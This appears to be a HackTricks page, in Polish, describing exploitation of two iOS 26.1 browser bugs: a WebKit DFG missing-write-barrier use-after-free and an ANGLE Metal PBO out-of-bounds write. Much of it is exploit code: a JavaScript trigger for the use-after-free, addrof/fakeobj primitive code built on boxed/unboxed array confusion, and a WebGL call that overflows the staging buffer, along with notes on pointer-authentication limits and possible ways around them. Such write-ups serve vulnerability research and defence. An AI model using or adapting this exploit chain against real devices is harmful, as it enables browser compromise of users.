WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podsumowanie

  • DFG Store Barrier bug (CVE-2025-43529): W DFGStoreBarrierInsertionPhase.cpp węzeł Phi oznaczony jako escaped, podczas gdy jego wejścia Upsilon nie są powoduje, że faza pomija wstawianie write barrier przy kolejnych zapisach obiektów. Pod presją GC pozwala to JSC zwolnić obiekty nadal osiągalne → use-after-free.
  • Exploit target: Wymusić, by obiekt Date zmaterializował butterfly (np. a[0] = 1.1) tak, aby butterfly został zwolniony, a następnie reclaimed jako pamięć na elementy tablicy, tworząc konfuzję boxed/unboxed → prymitywy addrof/fakeobj.
  • ANGLE Metal PBO bug (CVE-2025-14174): Backend Metal alokuje bufor staging PBO używając UNPACK_IMAGE_HEIGHT zamiast rzeczywistej wysokości tekstury. Podając mały unpack height, a następnie wykonując dużą texImage2D, powoduje to staging-buffer OOB write (~240KB w PoC poniżej).
  • PAC blockers on arm64e (iOS 26.1): TypedArray m_vector i JSArray butterfly są PAC-signed; podrobienie fake objects ze wskaźnikami wybranymi przez atakującego skutkuje awarią EXC_BAD_ACCESS/EXC_ARM_PAC. Działa tylko ponowne użycie already-signed butterflies (reinterpretacja boxed/unboxed).

Wywołanie brakującego write barrier DFG → UAF

function triggerUAF(flag, allocCount) {
const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
arr[arr_index] = A;                 // Tenure A in old space
const a = new Date(1111); a[0] = 1.1; // Force Date butterfly

// GC pressure
for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000));

const b = {p0: 0x42424242, p1: 1.1};
let f = b; if (flag) f = 1.1;       // Phi escapes, Upsilon not escaped
A.p1 = f;                           // Missing barrier state set up

for (let i = 0; i < 1e6; ++i) {}    // GC race window
b.p1 = a;                           // Store without barrier → frees `a`/butterfly
}

Kluczowe punkty:

  • Umieść A w old space, aby uruchomić generational barriers.
  • Utwórz indeksowany Date, tak aby butterfly był zwolnionym celem.
  • Sprayuj ArrayBuffer(0x800000), aby wymusić GC i poszerzyć wyścig.
  • Niedopasowanie Phi/Upsilon escape zatrzymuje wstawianie barier; b.p1 = a wykonuje się without a write barrier, więc GC odzyskuje a/butterfly.

Zwolnienie butterfly → zamieszanie boxed/unboxed

Po zwolnieniu Date butterfly przez GC, sprayuj arrays tak, aby zwolniony slab został ponownie użyty jako elements dla dwóch arrays o różnych element kinds:

boxed_arr[0]   = obj;          // store as boxed pointer
const addr     = ftoi(unboxed_arr[0]); // read as float64 → addr leak
unboxed_arr[0] = itof(addr);   // write pointer bits as float
const fake     = boxed_arr[0]; // reinterpret as object → fakeobj

Status na iOS 26.1 (arm64e):

  • Działa: addrof, fakeobj, 20+ address leaks na uruchomienie, inline-slot read/write (dla znanych pól inline).
  • Nie jest jeszcze stabilne: uogólnione read64/write64 przez inline-slot backings.

Ograniczenia PAC na arm64e (dlaczego fake objects powodują awarię)

  • TypedArray m_vector i JSArray butterfly są podpisane PAC; podrobienie wskaźników skutkuje EXC_BAD_ACCESS / prawdopodobnie EXC_ARM_PAC.
  • Mechanizm confusion działa, ponieważ ponownie używa legalnych, podpisanych butterflies; wprowadzenie niepodpisanych wskaźników atakującego powoduje niepowodzenie uwierzytelniania.
  • Zauważone potencjalne obejścia: ścieżki JIT, które pomijają uwierzytelnianie, gadgets które podpisują wskaźniki atakującego, lub pivoting przez ANGLE OOB.

ANGLE Metal PBO under-allocation → OOB write

Użyj bardzo małej wartości unpack height, aby zmniejszyć staging buffer, a następnie załaduj dużą teksturę, tak aby operacja kopiowania przepełniła bufor:

gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16);  // alloc height
// staging = 256 * 16 * 4 = 16KB
// actual  = 256 * 256 * 4 = 256KB → ~240KB OOB

gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);

Notatki:

  • Błąd w TextureMtl.cpp: staging buffer używa UNPACK_IMAGE_HEIGHT zamiast rzeczywistej wysokości tekstury na ścieżce PBO.
  • W przywołanej próbie wyzwalacz WebGL2 PBO jest skonfigurowany, ale nie został jeszcze niezawodnie zaobserwowany na iOS 26.1.

Odniesienia

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks